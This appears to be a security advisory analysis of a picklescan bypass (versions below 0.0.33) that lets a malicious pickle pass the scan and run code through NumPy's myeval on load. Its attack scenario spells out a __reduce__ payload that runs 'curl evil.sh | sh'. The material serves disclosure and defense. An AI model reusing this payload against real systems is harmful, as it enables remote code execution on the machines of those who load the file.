picklescan EUVD-2025-210306

Exploitation requires the victim to (1) be running picklescan at a version below 0.0.33, (2) use picklescan's verdict as a gate before calling pickle.load() / torch.load() on the attacker-supplied file, (3) actually open the malicious pickle (UI:P - user interaction), and (4) have NumPy installed so that numpy.f2py.crackfortran.myeval resolves at unpickle time. Limiting factors: organisations that do not use picklescan are unaffected (they have other pickle exposure but not this specific bypass), environments without NumPy will raise ImportError rather than execute the payload, and the attack delivers no impact unless the victim chooses to load the file after the clean scan.

The CVSS 4.0 vector AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N rates this 7.6 because exploitation is network-reachable and unauthenticated but requires the victim to actively load an attacker-supplied pickle (UI:P) and to be running a vulnerable picklescan version in a configuration where the scanner's verdict gates loading (AT:P). No EPSS, KEV, or SSVC data was supplied, so widespread automated exploitation cannot be confirmed; however, publicly available exploit code exists in the GHSA advisory and the payload is trivially reusable across any pickle-bearing artifact (PyTorch .bin/.pt files, joblib dumps, cached objects). The realistic risk is targeted supply-chain abuse of ML model repositories rather than mass internet scanning, but for organisations that built trust workflows around picklescan, the bypass directly defeats the security control they rely on.

An attacker publishes a malicious PyTorch checkpoint to a model hub whose pickle payload's __reduce__ returns (numpy.f2py.crackfortran.myeval, ('os.system("curl evil.sh | sh")',)); a victim runs picklescan < 0.0.33 against the file, receives a clean verdict, and then calls torch.load() or pickle.load(), which invokes myeval and executes the embedded shell command under the victim's account. The PoC in the GHSA advisory demonstrates the exact reduce-method payload, so weaponization requires no novel research.